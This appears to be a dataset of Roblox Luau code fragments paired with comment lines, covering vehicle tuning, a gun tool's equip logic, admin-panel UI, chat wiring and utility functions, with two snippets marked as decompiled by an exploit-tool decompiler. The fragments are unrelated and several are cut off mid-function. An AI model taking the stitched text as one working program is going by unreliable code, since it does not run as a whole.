currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 150 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--Reset--
|
script.Parent.Configuration.Reset.Changed:connect(function()
if script.Parent.Configuration.Reset.Value == true then
--ResetScript Starts
|
--// All global vars will be wiped/replaced except script
|
return function(data, env)
if env then
setfenv(1, env)
end
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local gui = service.New("ScreenGui")
local toggle = service.New("ImageButton", gui)
local gTable = client.UI.Register(gui)
if client.UI.Get("HelpButton", gui, true) then
gui:Destroy()
gTable:Destroy()
return nil
end
gTable.Name = "HelpButton"
gTable.CanKeepAlive = false
toggle.Name = "Toggle"
toggle.BackgroundTransparency = 1
toggle.Position = UDim2.new(1, -45, 1, -45)
toggle.Size = UDim2.new(0, 40, 0, 40)
toggle.Image = "http://www.roblox.com/asset/?id=7059706594"
toggle.ImageTransparency = 0
--if client.UI.Get("Chat") then
-- toggle.Position = UDim2.new(1, -(45+40),1, -45)
--end
toggle.MouseButton1Down:Connect(function()
local found = client.UI.Get("UserPanel",nil,true)
if found then
found.Object:Destroy()
else
client.UI.Make("UserPanel",{})
end
end)
gTable:Ready()
end
|
--Gauge
|
MakeWeld(car.Misc.Tach.M,car.DriveSeat,"Motor").Name="M"
ModelWeld(misc.Tach.Parts,misc.Tach.M)
MakeWeld(car.Misc.Speedo.N,car.DriveSeat,"Motor").Name="N"
ModelWeld(misc.Speedo.Parts,misc.Speedo.N)
|
-- Decompiled with the Synapse X Luau decompiler.
|
task.wait(1);
local l__Assets__1 = game:GetService("ReplicatedStorage"):WaitForChild("SharedModules", 100);
local l__Events__2 = game:GetService("Players").LocalPlayer.PlayerScripts:WaitForChild("Events", 100);
local v3 = require(l__Assets__1.CameraClass);
local l__CurrentCamera__1 = workspace.CurrentCamera;
local v5 = v3.new(1000, function(p1)
l__CurrentCamera__1.CFrame = l__CurrentCamera__1.CFrame * p1;
end);
v5:Start();
l__Events__2.shake.Event:Connect(function(p2, ...)
if p2 == "presets" then
v5:Shake(v3.Presets[...]);
return;
end;
if p2 == "once" then
v5:ShakeOnce(...);
end;
end);
|
-- Customization
|
AntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false)
MouseSense = 0.5;
CanAim = true; -- Allows player to aim
CanBolt = true; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)
LaserAttached = true;
LightAttached = true;
TracerEnabled = true;
SprintSpeed = 25;
CanCallout = false;
SuppressCalloutChance = 0;
|
-- ключ значений у игрока в DataStore2
|
local DS2key = script.Parent.Parent.Name -- "MaxHeight1"
local clickDetector = script.Parent.ClickDetector
function onMouseClick(plr)
-- для игрока plr, для ключа, изменить на 1
module.Update(plr, DS2key, 1)
end
clickDetector.MouseClick:Connect(onMouseClick)
|
-- Open:Play()
|
script.Parent.Handle.sound_open:Play()
script.Parent.EffectsHolder.AttachOn.SparkParticles.Enabled = true
script.Parent.EffectsHolder.AttachOn.SparkParticles.Enabled = false
script.Parent.EffectsHolder.AttachOn.MainLight.Enabled = true
script.Parent.EffectsHolder.AttachOn.SmallLight.Enabled = true
script.Parent.EffectsHolder.AttachOn.SmallLight2.Enabled = true
script.Parent.EffectsHolder.AttachOn.SmallLight3.Enabled = true
script.Parent.EffectsHolder.AttachOn.FireParticles.Enabled = true
|
--game:GetService'ReplicatedStorage':WaitForChild'Count':FireServer(fold, countNum) causing server issues, will be done later
|
game:GetService'ReplicatedStorage':WaitForChild'Save':FireServer(fold)
|
--------------------------------------------------------------------------------------
--------------------[ TOOL SELECTION AND DESELECTION ]--------------------------------
--------------------------------------------------------------------------------------
|
function onEquipped()
wait()
if Humanoid.Health ~= 0 and (not Selected) and Gun.Parent == Char then
Selected = true
breakReload = false
equipAnimPlaying = true
math.randomseed(tick()) --This sets a new seed for the random function each time you select the gun
--------------------[ FAILSAFE RESETING ]-------------------------------------
for _, GM in pairs(ignoreModel:GetChildren()) do
if GM.Name == "gunIgnore_"..Player.Name then
GM:Destroy()
end
end
for _, c in pairs(Connections) do
c:disconnect()
end
Connections = {}
--------------------[ REMOTE GUN SETUP ]--------------------------------------
--[[local Vars = {
ignoreModel = ignoreModel;
Humanoid = Humanoid;
Shoulders = Shoulders;
Torso = Torso;
Head = Head;
armC0 = armC0;
leftArmC1 = S.equipSettings.leftArmC1;
rightArmC1 = S.equipSettings.rightArmC1;
LArm = LArm;
RArm = RArm;
gunParts = gunParts;
Handle = Handle;
}
gunIgnore, playerFolder, headWeld, headWeld2, animWeld, ABWeld, LWeld, RWeld, LWeld2, RWeld2, LLegWeld, RLegWeld, gunParts2 = gunSetup:InvokeServer(Vars)]]
--------------------[ CREATING IGNORE MODELS ]--------------------------------
gunIgnore = Instance.new("Model")
gunIgnore.Name = "gunIgnore_"..Player.Name
gunIgnore.Parent = ignoreModel
--------------------[ MODIFYING THE PLAYER ]----------------------------------
Player.CameraMode = Enum.CameraMode.LockFirstPerson
Cam.CameraType = Enum.CameraType.Scriptable
Cam.FieldOfView = 80
UIS.MouseBehavior = Enum.MouseBehavior.LockCenter
UIS.MouseIconEnabled = false
local initialX, initialY = getYawPitch(Cam.CoordinateFrame)
camAng = -VEC2(initialX, initialY)
mainGUI.Parent = Player.PlayerGui
setUpGUI()
updateHealth()
if S.selectFire then
local currentMode = Modes[((rawFireMode - 1) % numModes) + 1]
if currentMode == "AUTO" then
fireFunction = autoFire
elseif currentMode == "BURST" then
fireFunction = burstFire
elseif currentMode == "SEMI" then
fireFunction = semiFire
else
fireFunction = nil
end
else
if S.gunType.Semi then
fireFunction = semiFire
elseif S.gunType.Auto then
fireFunction = autoFire
elseif S.gunType.Burst then
fireFunction = burstFire
else
fireFunction = nil
end
end
changePlayerTrans(Char, 1)
Humanoid.AutoRotate = false
Shoulders.Right.Part1 = nil
Shoulders.Left.Part1 = nil
playerFolder = Instance.new("Model")
playerFolder.Name = "playerFolder"
playerFolder.Parent = gunIgnore
local headBase = Instance.new("Part")
headBase.Transparency = 1
headBase.Name = "headBase"
headBase.CanCollide = false
headBase.FormFactor = Enum.FormFactor.Custom
headBase.Size = V3(0.2, 0.2, 0.2)
headBase.BottomSurface = Enum.SurfaceType.Smooth
headBase.TopSurface = Enum.SurfaceType.Smooth
headBase.Parent = playerFolder
headWeld = Instance.new("Weld")
headWeld.Part0 = Torso
headWeld.Part1 = headBase
headWeld.C0 = CF(0, 1.5, 0)
headWeld.Parent = Torso
headWeld2 = Instance.new("Weld")
headWeld2.Part0 = headBase
headWeld2.Part1 = Head
headWeld2.Parent = headBase
neckClone = Neck:Clone()
--[[local stanceBase = Instance.new("Part")
stanceBase.Transparency = 1
stanceBase.Name = "stanceBase"
stanceBase.CanCollide = false
stanceBase.FormFactor = Enum.FormFactor.Custom
stanceBase.Size = V3(0.2, 0.2, 0.2)
stanceBase.BottomSurface = Enum.SurfaceType.Smooth
stanceBase.TopSurface = Enum.SurfaceType.Smooth
stanceBase.Parent = playerFolder
stanceWeld = Instance.new("Weld")
stanceWeld.Part0 = stanceBase
stanceWeld.Part1 = Torso
stanceWeld.Parent = stanceBase]]
local animBase = Instance.new("Part")
animBase.Transparency = 1
animBase.Name = "animBase"
animBase.CanCollide = false
animBase.FormFactor = Enum.FormFactor.Custom
animBase.Size = V3(0.2, 0.2, 0.2)
animBase.BottomSurface = Enum.SurfaceType.Smooth
animBase.TopSurface = Enum.SurfaceType.Smooth
animBase.Parent = playerFolder
animWeld = Instance.new("Weld")
animWeld.Part0 = animBase
animWeld.Part1 = headBase
animWeld.Parent = animBase
local ArmBase = Instance.new("Part")
ArmBase.Transparency = 1
ArmBase.Name = "ArmBase"
ArmBase.CanCollide = false
ArmBase.FormFactor = Enum.FormFactor.Custom
ArmBase.Size = V3(0.2, 0.2, 0.2)
ArmBase.BottomSurface = Enum.SurfaceType.Smooth
ArmBase.TopSurface = Enum.SurfaceType.Smooth
ArmBase.Parent = playerFolder
ABWeld = Instance.new("Weld")
ABWeld.Part0 = ArmBase
ABWeld.Part1 = animBase
ABWeld.Parent = ArmBase
local LArmBase = Instance.new("Part")
LArmBase.Transparency = 1
LArmBase.Name = "LArmBase"
LArmBase.CanCollide = false
LArmBase.FormFactor = Enum.FormFactor.Custom
LArmBase.Size = V3(0.2, 0.2, 0.2)
LArmBase.BottomSurface = Enum.SurfaceType.Smooth
LArmBase.TopSurface = Enum.SurfaceType.Smooth
LArmBase.Parent = playerFolder
local RArmBase = Instance.new("Part")
RArmBase.Transparency = 1
RArmBase.Name = "RArmBase"
RArmBase.CanCollide = false
RArmBase.FormFactor = Enum.FormFactor.Custom
RArmBase.Size = V3(0.2, 0.2, 0.2)
RArmBase.BottomSurface = Enum.SurfaceType.Smooth
RArmBase.TopSurface = Enum.SurfaceType.Smooth
RArmBase.Parent = playerFolder
LWeld = Instance.new("Weld")
LWeld.Name = "LWeld"
LWeld.Part0 = ArmBase
LWeld.Part1 = LArmBase
LWeld.C0 = armC0[1]
LWeld.C1 = S.equipSettings.leftArmC1
LWeld.Parent = ArmBase
RWeld = Instance.new("Weld")
RWeld.Name = "RWeld"
RWeld.Part0 = ArmBase
RWeld.Part1 = RArmBase
RWeld.C0 = armC0[2]
RWeld.C1 = S.equipSettings.rightArmC1
RWeld.Parent = ArmBase
LWeld2 = Instance.new("Weld")
LWeld2.Name = "LWeld"
LWeld2.Part0 = LArmBase
LWeld2.Part1 = LArm
LWeld2.Parent = LArmBase
RWeld2 = Instance.new("Weld")
RWeld2.Name = "RWeld"
RWeld2.Part0 = RArmBase
RWeld2.Part1 = RArm
RWeld2.Parent = RArmBase
LLegWeld = Instance.new("Weld")
LLegWeld.Name = "LLegWeld"
LLegWeld.Part0 = Torso
LLegWeld.Part1 = nil
LLegWeld.C0 = CF(-0.5, -2, 0)
LLegWeld.Parent = Torso
RLegWeld = Instance.new("Weld")
RLegWeld.Name = "RLegWeld"
RLegWeld.Part0 = Torso
RLegWeld.Part1 = nil
RLegWeld.C0 = CF(0.5, -2, 0)
RLegWeld.Parent = Torso
if S.playerArms then
armModel = Instance.new("Model", workspace.FilteringEnabled and playerFolder or Cam)
fakeLArm = LArm:Clone()
fakeLArm.Parent = armModel
fakeLArm.Transparency = S.fakeArmSettings.Transparency
fakeLArm.CanCollide = false
fakeLArm.Size = S.fakeArmSettings.armSize
fakeLArm:BreakJoints()
--LArm.Transparency = 1
local fakeLWeld = Instance.new("Weld")
fakeLWeld.Part0 = fakeLArm
fakeLWeld.Part1 = LArm
fakeLWeld.Parent = fakeLArm
fakeRArm = RArm:Clone()
fakeRArm.Parent = armModel
fakeRArm.Transparency = S.fakeArmSettings.Transparency
fakeRArm.CanCollide = false
fakeRArm.Size = S.fakeArmSettings.armSize
fakeRArm:BreakJoints()
--RArm.Transparency = 1
local fakeRWeld = Instance.new("Weld")
fakeRWeld.Part0 = fakeRArm
fakeRWeld.Part1 = RArm
fakeRWeld.Parent = fakeRArm
Instance.new("Humanoid", armModel)
if S.fakeArmSettings.characterMeshes then
for _,Obj in pairs(Char:GetChildren()) do
if Obj:IsA("CharacterMesh") then
Obj:Clone().Parent = armModel
end
end
end
for _,Obj in pairs(Char:GetChildren()) do
if Obj:IsA("Shirt") then
Obj:Clone().Parent = armModel
end
end
else
armTable = createArms()
if workspace.FilteringEnabled then
armTable[1].Model.Parent = playerFolder
armTable[2].Model.Parent = playerFolder
else
armTable[1].Model.Parent = Cam--playerFolder
armTable[2].Model.Parent = Cam--playerFolder
end
fakeLArm = armTable[1].armPart
--LArm.Transparency = 1
local fakeLWeld = Instance.new("Weld")
fakeLWeld.Part0 = fakeLArm
fakeLWeld.Part1 = LArm
fakeLWeld.Parent = fakeLArm
fakeRArm = armTable[2].armPart
--RArm.Transparency = 1
local fakeRWeld = Instance.new("Weld")
fakeRWeld.Part0 = fakeRArm
fakeRWeld.Part1 = RArm
fakeRWeld.Parent = fakeRArm
end
--------------------[ MODIFYING THE GUN ]-------------------------------------
for _, Tab in pairs(gunParts) do
local Weld = Instance.new("Weld")
Weld.Name = "MainWeld"
Weld.Part0 = Handle
Weld.Part1 = Tab.Obj
Weld.C0 = Tab.Obj.weldCF.Value
Weld.Parent = Handle
Tab.Weld = Weld
end
Grip = RArm:WaitForChild("RightGrip")
local handleCF = Torso.CFrame * CF(0, 0.5, 0) * armC0[2] * S.aimedC1.rightArm:inverse() * Grip.C0
local handleOffset = AimPart.CFrame:toObjectSpace(Handle.CFrame)
aimedGripCF = ((Torso.CFrame * CF(headOffset.X, headOffset.Y, 0)) * handleOffset):toObjectSpace(handleCF)
Grip.C1 = S.equipSettings.GripC1
--------------------[ RUNNING PLUGINS ]---------------------------------------
for _, Plugin in pairs(Plugins.OnEquipped) do
spawn(function()
Plugin()
end)
end
--------------------[ GETTING PLAYER MASS ]-----------------------------------
local connectedParts = HRP:GetConnectedParts(true)
for _, v in pairs(connectedParts) do
if v:IsA("BasePart") then
playerMass = playerMass + v:GetMass()
end
end
--------------------[ CONNECTIONS ]-------------------------------------------
INSERT(Connections, Humanoid.Died:connect(function()
onUnequipped(true)
end))
INSERT(Connections, Humanoid.Jumping:connect(function()
if Stance ~= 0 then
Stand()
end
end))
INSERT(Connections, Humanoid.StateChanged:connect(onHumanoidStateChanged))
INSERT(Connections, Humanoid.HealthChanged:connect(updateHealth))
INSERT(Connections, M2.Button1Down:connect(onMB1Down))
INSERT(Connections, M2.Button1Up:connect(onMB1Up))
INSERT(Connections, M2.Button2Down:connect(onMB2Down))
INSERT(Connections, M2.Button2Up:connect(onMB2Up))
INSERT(Connections, M2.KeyDown:connect(keyDown))
INSERT(Connections, M2.KeyUp:connect(keyUp))
if S.sensitivitySettings.scrollToChange then
INSERT(Connections, M2.WheelForward:connect(onScrollUp))
INSERT(Connections, M2.WheelBackward:connect(onScrollDown))
end
if S.AutoKnife then
INSERT(Connections, RS.Stepped:connect(function()
local H, P = AdvRayCast(Head.CFrame.p, Head.CFrame.lookVector, S.AutoKnifeDist, nil)
if H then
local HitHuman = findFirstClass(H.Parent, "Humanoid")
if HitHuman and isEnemy(HitHuman) and HitHuman.Health ~= 0 then
Knife()
end
end
end))
end
INSERT(Connections, UIS.InputChanged:connect(function(inputObj)
if inputObj.UserInputType == Enum.UserInputType.MouseMovement then
local rawCamAng = camAng - (VEC2(RAD(inputObj.Delta.x), RAD(inputObj.Delta.y)) * mouseSensitivity * 0.25)
camAng = VEC2(rawCamAng.x, (rawCamAng.y > RAD(80) and RAD(80) or rawCamAng.y < RAD(-80) and RAD(-80) or rawCamAng.y))
desiredXOffset = math.min(math.max(inputObj.Delta.x, -S.momentumSettings.maxInput), S.momentumSettings.maxInput)
desiredYOffset = math.min(math.max(inputObj.Delta.y, -S.momentumSettings.maxInput), S.momentumSettings.maxInput)
end
end))
INSERT(Connections, M2.Idle:connect(function(inputObj)
desiredXOffset = 0
desiredYOffset = 0
end))
INSERT(Connections, RS.Stepped:connect(function()
if tick() - lastBeat > (Humanoid.Health / 75) then
lastBeat = tick()
HUD.Health.Tray.Beat:TweenPosition(
UDim2.new(0, -21, 0, 0),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
0.7 - ((100 - Humanoid.Health) / 400),
false,
function()
HUD.Health.Tray.Beat.Position = UDim2.new(1, 0, 0, 0)
end
)
end
end))
INSERT(Connections, RS.RenderStepped:connect(function()
--Main animation
local animC0, animC1 = getAnimCF()
animWeld.C0 = animC0
animWeld.C1 = animC1
--Camera updating
renderCamera()
end))
--------------------[ ANIMATE GUN ]-------------------------------------------
tweenJoint(LWeld, nil, S.unAimedC1.leftArm, Sine, S.equipSettings.Time)
tweenJoint(RWeld, nil, S.unAimedC1.rightArm, Sine, S.equipSettings.Time)
tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, S.equipSettings.Time)
spawn(function()
local T = tick()
while true do
if tick() - T > S.equipSettings.Time then break end
if (not Selected) then break end
wait()
end
equipAnimPlaying = false
end)
Animate()
end
end
function onUnequipped(deleteTool)
if Selected then
Selected = false
breakReload = true
--------------------[ RUNNING PLUGINS ]---------------------------------------
for _, Plugin in pairs(Plugins.OnUnEquipped) do
spawn(function()
Plugin()
end)
end
--------------------[ MODIFYING THE PLAYER ]----------------------------------
Cam.FieldOfView = 70
Cam.CameraType = Enum.CameraType.Custom
UIS.MouseBehavior = Enum.MouseBehavior.Default
UIS.MouseIconEnabled = true
Player.CameraMode = Enum.CameraMode.Classic
if armTable then
armTable[1].Model:Destroy()
armTable[2].Model:Destroy()
elseif armModel then
armModel:Destroy()
end
LLegWeld:Destroy()
RLegWeld:Destroy()
changePlayerTrans(Char, 0)
mainGUI.Parent = script
Shoulders.Right.Part1 = RArm
Shoulders.Left.Part1 = LArm
neckClone.Parent = Torso
headWeld:Destroy()
Humanoid.WalkSpeed = 16
Humanoid.AutoRotate = true
--------------------[ RESETING THE TOOL ]-------------------------------------
gunIgnore:Destroy()
mouseSensitivity = S.sensitivitySettings.Default
MB1Down = false
playerMass = 0
Aimed = false
camOffsets = {
guiScope = {
Rot = V3();
};
Reload = {
Rot = V3();
Code = nil;
};
Recoil = {
Rot = V3();
Code = nil;
};
}
recoilAnim = {
Pos = V3();
Rot = V3();
Code = nil;
}
--Setting the aim variables to unaimed
spreadZoom = "unAimed"
scopeMain.Visible = false
scopeSteady.Visible = false
aimAlpha = 0
aimHeadOffset = 0
jumpAnimMultiplier = 1
translationDivisor = 7
rotationMultiplier = S.momentumSettings.Amplitude.unAimed
armTiltMultiplier = 1
Scope.BackgroundTransparency = 1
if S.guiScope then
spawn(function()
for _, Obj in pairs(Gun:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 0
end
end
end)
end
onGround = true
for _, Tab in pairs(gunParts) do
Tab.Weld:Destroy()
Tab.Weld = nil
end
for _,c in pairs(Connections) do
c:disconnect()
end
Connections = {}
if deleteTool then
Cam:ClearAllChildren()
Gun:Destroy()
end
wait() --This is here in case you dolphin dived and deselected the tool instantly
if S.stanceSettings.standOnDeselect and Stance ~= 0 then
crawlCamRot = 0
isCrawling = false
stanceSway = 1
spreadStance = "Stand"
Stand(true)
end
baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]
end
end
Gun.Equipped:connect(onEquipped)
Gun.Unequipped:connect(function() onUnequipped(false) end)
|
----------------------
|
game.Players.PlayerAdded:connect(function(plr)
repeat
local userData = storage.LoadData(plr.UserId)
wait(0.5)
if not userData then end
until userData == true
end)
|
--//GUIs
|
local PlayButton = script.Parent.Parent.IntroGui.Frame.Play
|
--[=[
Uppercases the first letter of the string
@param str string
@return string
]=]
|
function String.uppercaseFirstLetter(str: string): string
return str:gsub("^%a", string.upper)
end
|
--[[**
ensures Lua primitive coroutine type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.coroutine = primitive("thread")
|
-- This will inject all types into this context.
|
local TypeDefs = require(script.Parent.TypeDefinitions)
type CanPierceFunction = TypeDefs.CanPierceFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast
local typeof = require(script.Parent.TypeMarshaller)
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
return function(p1)
local v1 = client.UI.Make("Window", {
Name = "Terminal",
Title = "Terminal",
Size = { 500, 300 },
AllowMultiple = false,
OnClose = function()
end
});
local v2 = v1:Add("ScrollingFrame", {
Size = UDim2.new(1, -10, 1, -40),
BackgroundTransparency = 1,
List = {}
});
local v3 = v1:Add("TextBox", {
Text = "",
Size = UDim2.new(1, 0, 0, 30),
Position = UDim2.new(0, 0, 1, -30),
PlaceholderText = "Enter command",
TextXAlignment = "Left"
});
local function u1(p2, p3)
table.insert(p3, p2);
if #p3 > 500 then
table.remove(p3, 1);
end;
end;
local u2 = {};
v1:BindEvent(service.Events.TerminalLive, function(p4)
local l__Type__4 = p4.Type;
u1(p4.Data, u2);
end);
v3.FocusLost:connect(function(p5)
service.Debounce("_TERMINAL_BOX_FOCUSLOST", function()
if p5 and v3.Text ~= "" and v3.Text ~= "Enter command" then
local l__Text__5 = v3.Text;
v3.Text = "";
u1(">" .. l__Text__5, u2);
local v6 = client.Remote.Get("Terminal", l__Text__5, {
Time = tick()
});
if v6 and type(v6) == "table" then
for v7, v8 in ipairs(v6) do
u1(v8, u2);
end;
end;
v3:CaptureFocus();
end;
wait(0.1);
end);
end);
v1:Ready();
local v9 = 0;
while v1.gTable.Active and wait(0.5) do
if v9 < #u2 then
v9 = #u2;
v2:GenerateList(u2, nil, true);
end;
end;
end;
|
--////////////////////////////////////////////////////////////////////////////////////////////
--///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff
--////////////////////////////////////////////////////////////////////////////////////////////
|
local Util = {}
do
function Util.Signal()
local sig = {}
local mSignaler = Instance.new('BindableEvent')
local mArgData = nil
local mArgDataCount = nil
function sig:fire(...)
mArgData = {...}
mArgDataCount = select('#', ...)
mSignaler:Fire()
end
function sig:connect(f)
if not f then error("connect(nil)", 2) end
return mSignaler.Event:connect(function()
f(unpack(mArgData, 1, mArgDataCount))
end)
end
function sig:wait()
mSignaler.Event:wait()
assert(mArgData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.")
return unpack(mArgData, 1, mArgDataCount)
end
return sig
end
end
function SetVisibility(val)
ChatWindow:SetVisible(val)
moduleApiTable.VisibilityStateChanged:fire(val)
moduleApiTable.Visible = val
if (moduleApiTable.IsCoreGuiEnabled) then
if (val) then
InstantFadeIn()
else
InstantFadeOut()
end
end
end
do
moduleApiTable.TopbarEnabled = true
moduleApiTable.MessageCount = 0
moduleApiTable.Visible = true
moduleApiTable.IsCoreGuiEnabled = true
function moduleApiTable:ToggleVisibility()
SetVisibility(not ChatWindow:GetVisible())
end
function moduleApiTable:SetVisible(visible)
if (ChatWindow:GetVisible() ~= visible) then
SetVisibility(visible)
end
end
function moduleApiTable:FocusChatBar()
ChatBar:CaptureFocus()
end
function moduleApiTable:EnterWhisperState(player)
ChatBar:EnterWhisperState(player)
end
function moduleApiTable:GetVisibility()
return ChatWindow:GetVisible()
end
function moduleApiTable:GetMessageCount()
return self.MessageCount
end
function moduleApiTable:TopbarEnabledChanged(enabled)
self.TopbarEnabled = enabled
self.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat))
end
function moduleApiTable:IsFocused(useWasFocused)
return ChatBar:IsFocused()
end
moduleApiTable.ChatBarFocusChanged = Util.Signal()
moduleApiTable.VisibilityStateChanged = Util.Signal()
moduleApiTable.MessagesChanged = Util.Signal()
moduleApiTable.MessagePosted = Util.Signal()
moduleApiTable.CoreGuiEnabled = Util.Signal()
moduleApiTable.ChatMakeSystemMessageEvent = Util.Signal()
moduleApiTable.ChatWindowPositionEvent = Util.Signal()
moduleApiTable.ChatWindowSizeEvent = Util.Signal()
moduleApiTable.ChatBarDisabledEvent = Util.Signal()
function moduleApiTable:fChatWindowPosition()
return ChatWindow.GuiObject.Position
end
function moduleApiTable:fChatWindowSize()
return ChatWindow.GuiObject.Size
end
function moduleApiTable:fChatBarDisabled()
return not ChatBar:GetEnabled()
end
function moduleApiTable:SpecialKeyPressed(key, modifiers)
if (key == Enum.SpecialKey.ChatHotkey) then
if canChat then
DoChatBarFocus()
end
end
end
end
moduleApiTable.CoreGuiEnabled:connect(function(enabled)
moduleApiTable.IsCoreGuiEnabled = enabled
enabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)
ChatWindow:SetCoreGuiEnabled(enabled)
if (not enabled) then
ChatBar:ReleaseFocus()
InstantFadeOut()
else
InstantFadeIn()
end
end)
function trimTrailingSpaces(str)
local lastSpace = #str
while lastSpace > 0 do
--- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace)
if str:find("^%s", lastSpace) then
lastSpace = lastSpace - 1
else
break
end
end
return str:sub(1, lastSpace)
end
moduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable)
if (valueTable["Text"] and type(valueTable["Text"]) == "string") then
while (not DidFirstChannelsLoads) do wait() end
local channel = ChatSettings.GeneralChannelName
local channelObj = ChatWindow:GetChannel(channel)
if (channelObj) then
local messageObject = {
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = channel,
IsFiltered = true,
MessageLength = string.len(valueTable.Text),
Message = trimTrailingSpaces(valueTable.Text),
MessageType = ChatConstants.MessageTypeSetCore,
Time = os.time(),
ExtraData = valueTable,
}
channelObj:AddMessageToChannel(messageObject)
ChannelsBar:UpdateMessagePostedInChannel(channel)
moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1
moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)
end
end
end)
moduleApiTable.ChatBarDisabledEvent:connect(function(disabled)
if canChat then
ChatBar:SetEnabled(not disabled)
if (disabled) then
ChatBar:ReleaseFocus()
end
end
end)
moduleApiTable.ChatWindowSizeEvent:connect(function(size)
ChatWindow.GuiObject.Size = size
end)
moduleApiTable.ChatWindowPositionEvent:connect(function(position)
ChatWindow.GuiObject.Position = position
end)
|
--
|
local Utils = require(utilsModule)
function Utils.GetAngleBetweenXZVectors(v1, v2)
local upCFrame = lastUpCFrame -- this is kind of lame, but it works
v1 = upCFrame:VectorToObjectSpace(v1)
v2 = upCFrame:VectorToObjectSpace(v2)
return math.atan2(v2.X*v1.Z-v2.Z*v1.X, v2.X*v1.X+v2.Z*v1.Z)
end
|
--[=[
Adds the remote function mixin to a class
```lua
local BaseObject = require("BaseObject")
local Bird = setmetatable({}, BaseObject)
Bird.ClassName = "Bird"
Bird.__index = Bird
require("PromiseRemoteFunctionMixin"):Add(Bird, "BirdRemoteFunction")
function Bird.new(inst)
local self = setmetatable(BaseObject.new(inst), Bird)
self:PromiseRemoteFunction():Then(function(remoteFunction)
task.spawn(function()
remoteFunction:InvokeServer() -- or whatever
end)
end)
return self
end
```
@param class { _maid: Maid }
@param remoteFunctionName string
]=]
|
function PromiseRemoteFunctionMixin:Add(class, remoteFunctionName)
assert(type(class) == "table", "Bad class")
assert(type(remoteFunctionName) == "string", "Bad remoteFunctionName")
assert(not class.PromiseRemoteFunctionMixin, "Class already has PromiseRemoteFunctionMixin defined")
assert(not class._remoteFunctionName, "Class already has _remoteFunctionName defined")
class.PromiseRemoteFunction = self.PromiseRemoteFunction
class._remoteFunctionName = remoteFunctionName
end
|
-- Captions
|
DEFAULT_FORCED_GROUP_VALUES["caption"] = 1
function Icon:setCaption(text)
assert(typeof(text) == "string" or text == nil, "Expected string, got "..typeof(text))
local realText = text or ""
local isVisible = realText ~= ""
self.captionText = text
self.instances.captionLabel.Text = realText
self.instances.captionContainer.Parent = (isVisible and activeItems) or self.instances.iconContainer
self._maid.captionContainer = self.instances.captionContainer
self:_updateIconSize(nil, self:getIconState())
local captionMaid = Maid.new()
self._maid.captionMaid = captionMaid
if isVisible then
captionMaid:give(self.hoverStarted:Connect(function()
if not self.isSelected then
self:displayCaption(true)
end
end))
captionMaid:give(self.hoverEnded:Connect(function()
self:displayCaption(false)
end))
captionMaid:give(self.selected:Connect(function()
if self.hovering then
self:displayCaption(false)
end
end))
local iconContainer = self.instances.iconContainer
captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
if self.hovering then
self:displayCaption()
end
end))
captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsolutePosition"):Connect(function()
if self.hovering then
self:displayCaption()
end
end))
end
-- This adapts the caption size
local CAPTION_X_MARGIN = 6
local CAPTION_CONTAINER_Y_SIZE_SCALE = 0.8
local CAPTION_LABEL_Y_SCALE = 0.58
local iconSize = self:get("iconSize")
local labelFont = self:get("captionFont")
if iconSize and labelFont then
local cellSizeYOffset = iconSize.Y.Offset
local cellSizeYScale = iconSize.Y.Scale
local iconContainer = self.instances.iconContainer
local captionContainer = self.instances.captionContainer
if isVisible then
local cellHeight = cellSizeYOffset + (cellSizeYScale * iconContainer.Parent.AbsoluteSize.Y)
local captionLabel = self.instances.captionLabel
local captionContainerHeight = cellHeight * CAPTION_CONTAINER_Y_SIZE_SCALE
local captionLabelHeight = captionContainerHeight * CAPTION_LABEL_Y_SCALE
local iconContentText = self:_getContentText(self.captionText)
local textWidth = textService:GetTextSize(iconContentText, captionLabelHeight, labelFont, Vector2.new(10000, captionLabelHeight)).X
captionLabel.TextSize = captionLabelHeight
captionLabel.Size = UDim2.new(0, textWidth, CAPTION_LABEL_Y_SCALE, 0)
